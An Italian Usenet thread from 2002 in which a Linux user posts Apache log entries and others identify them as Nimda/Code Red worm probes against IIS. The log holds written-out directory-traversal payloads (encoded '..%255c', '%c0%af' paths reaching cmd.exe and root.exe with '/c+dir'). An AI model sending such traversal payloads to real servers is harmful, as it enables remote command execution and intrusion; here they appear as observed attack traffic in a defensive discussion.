Newsgroup: it.comp.os.linux.sys
Titolo: ma cos'è 'sta roba?

oggi mi sono messo a spulciare l'access_log del mio indiano e ho trovato 
questo
80.17.226.118 - - [26/May/2002:21:16:20 +0200] "GET 
/scripts/root.exe?/c+dir HTTP/1.0" 404 312
80.17.226.118 - - [26/May/2002:21:16:20 +0200] "GET 
/MSADC/root.exe?/c+dir HTTP/1.0" 404 310
80.17.226.118 - - [26/May/2002:21:16:21 +0200] "GET 
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
80.17.226.118 - - [26/May/2002:21:16:22 +0200] "GET 
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
80.17.226.118 - - [26/May/2002:21:16:23 +0200] "GET 
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
80.17.226.118 - - [26/May/2002:21:16:23 +0200] "GET 
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 351
80.17.226.118 - - [26/May/2002:21:16:24 +0200] "GET 
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 351
80.17.226.118 - - [26/May/2002:21:16:25 +0200] "GET 
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 367
80.17.226.118 - - [26/May/2002:21:16:26 +0200] "GET 
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
80.17.226.118 - - [26/May/2002:21:16:27 +0200] "GET 
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
80.17.226.118 - - [26/May/2002:21:16:27 +0200] "GET 
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
80.17.226.118 - - [26/May/2002:21:16:28 +0200] "GET 
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
80.17.226.118 - - [26/May/2002:21:16:28 +0200] "GET 
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 317
80.17.226.118 - - [26/May/2002:21:16:29 +0200] "GET 
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 317 
80.17.226.118 - - [26/May/2002:21:16:30 +0200] "GET 
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
80.17.226.118 - - [26/May/2002:21:16:31 +0200] "GET 
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
80.116.114.10 - - [26/May/2002:22:20:15 +0200] "GET 
/scripts/root.exe?/c+dir HTTP/1.0" 404 312
80.116.114.10 - - [26/May/2002:22:20:17 +0200] "GET 
/MSADC/root.exe?/c+dir HTTP/1.0" 404 310
80.116.114.10 - - [26/May/2002:22:20:19 +0200] "GET 
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
80.116.114.10 - - [26/May/2002:22:20:20 +0200] "GET 
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
80.116.114.10 - - [26/May/2002:22:20:22 +0200] "GET 
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
80.116.114.10 - - [26/May/2002:22:20:25 +0200] "GET 
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 351
80.116.114.10 - - [26/May/2002:22:20:29 +0200] "GET 
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 351
80.116.114.10 - - [26/May/2002:22:20:30 +0200] "GET 
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
HTTP/1.0" 404 367
[cut]
cos'č successo?
ha l'aria di essere una specie d'attacco x sfruttare dei bug di iis, č vero?
a questo punto sono curioso... tanto dovrei essere al sicuro da questo 
tipo di attacco, (sempre se lo č), no?
ciao
-- 
***** ===Max== * RedHatLinux 7.2 Enigma* P3-450 GF2mx HM-120DP SBLive!
***** Stranger * RegLinuxUser#271976* CPD-E200E 20+6Gb LTD163LTR121032
==311GVvAMVI== [aka on IRC as Overrider]
=Post#0x00069=


Si. E' roba per IIS.
Alessandro.

 vero?
hmmm doveva essere parecchio tempo che non guardavi i log, considerato 
che quello che vedi č nimda-codered...
-- 
Emanuele "SKULL" Balla
----------------------------------------------------------------------
"How should I know if it works?  That's what beta testers are for. I 
only coded it." (Attributed to Linus Torvalds, somewhere in a posting)


Perche' adesso non ci sono piu' server infetti in giro per il mondo?-P
Alessandro.

 questo
Un povero fesso infetto da Code Red che crede tu abbia IIS..
soluzione:
# sed '/winnt/d;/\.exe/d' /var/log/apache/access.log >aa && \
	mv aa /var/log/apache/access.log
-- 
- Le scaglie della mia corazza sono come scudi dieci volte piu' potenti
i miei denti sono spade, i miei artigli lance, lo sferzare della mia
coda una saetta, le mie ali un uragano ed il mio alito MORTE !

 che quello che vedi č nimda-codered...
ma hai visto la data?
ciao
-- 
***** ===Max== * RedHatLinux 7.2 Enigma* P3-450 GF2mx HM-120DP SBLive!
***** Stranger= * RegLinuxUser#271976* CPD-E200E 20+6Gb LTD163LTR121032
=311GVvAMVI== [aka on IRC as Overrider]
=Post#0x006B=


che c'entra? se c'č ancora in giro eualcuno infetto, continuerai a 
vederli arrivare. Ma non cambia il fatto che tuttii webserver di questa 
terra (e forse anche qualcuno su qualche satellite) si becca log come 
questi ma ormai 8/9 mesi..


 questi ma ormai 8/9 mesi..
scusa, c'č stato un malinteso :-)
piů che altro ho apache da neanche due mesi...
ciao
-- 
***** ===Max== * RedHatLinux 7.2 Enigma* P3-450 GF2mx HM-120DP SBLive!
***** Stranger * RegLinuxUser#271976* CPD-E200E 20+6Gb LTD163LTR121032
==311GVvAMVI== [aka on IRC as Overrider]
=Post#0x0006C=

 log come questi ma ormai 8/9 mesi.. 
hmmm o mi inizia l'artrite o sto diventando dislessico...
